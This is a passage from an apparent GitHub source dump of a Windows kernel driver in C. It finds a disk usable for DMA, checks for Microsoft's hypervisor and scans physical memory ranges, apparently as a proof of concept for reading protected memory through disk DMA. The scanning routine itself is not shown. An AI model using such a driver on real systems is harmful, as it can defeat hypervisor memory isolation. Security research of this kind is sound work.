MmUnmapIoSpace(mapping, PAGE_SIZE); 93 | return TRUE; 94 | } 95 | 96 | return FALSE; 97 | } 98 | 99 | static VOID MicrosoftHvDemo(IN PDISK disk) { 100 | if (!IsMicrosoftHvRunning()) { 101 | printf("Microsoft HV is not running\n"); 102 | return; 103 | } 104 | 105 | PHYSICAL_ADDRESS highest; 106 | highest.QuadPart = MAXULONG32; 107 | 108 | PVOID buffer = MmAllocateContiguousMemory(PAGE_SIZE, highest); 109 | if (!buffer) { 110 | printf("Failed to allocate buffer\n"); 111 | return; 112 | } 113 | 114 | PPHYSICAL_MEMORY_RANGE ranges = MmGetPhysicalMemoryRanges(); 115 | if (ranges) { 116 | PPHYSICAL_MEMORY_RANGE range = ranges; 117 | while (range->BaseAddress.QuadPart) { 118 | if (ScanRange(disk, buffer, range->BaseAddress.QuadPart, 119 | range->NumberOfBytes.QuadPart)) { 120 | 121 | break; 122 | } 123 | 124 | ++range; 125 | } 126 | 127 | ExFreePool(ranges); 128 | } else { 129 | printf("Failed to get physical memory ranges\n"); 130 | } 131 | 132 | MmFreeContiguousMemory(buffer); 133 | } 134 | 135 | static VOID DriverUnload(IN PDRIVER_OBJECT driver) { 136 | UNREFERENCED_PARAMETER(driver); 137 | } 138 | 139 | NTSTATUS DriverEntry(IN OUT PDRIVER_OBJECT driver, IN OUT PUNICODE_STRING registryPath) { 140 | UNREFERENCED_PARAMETER(registryPath); 141 | 142 | driver->DriverUnload = DriverUnload; 143 | 144 | PDISK disk; 145 | NTSTATUS status = DiskFind(&disk); 146 | if (!NT_SUCCESS(status)) { 147 | printf("Failed to find a supported disk for DMA: 0x%X\n", status); 148 | return STATUS_NOT_FOUND; 149 | } 150 | 151 | MicrosoftHvDemo(disk); 152 | 153 | DiskFree(disk); 154 | return STATUS_SUCCESS; 155 | } -------------------------------------------------------------------------------- /demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/btbd/ddma/110955a2160278a046b1b8306dcedd321253a4c4/demo.gif --------------------------------------------------------------------------------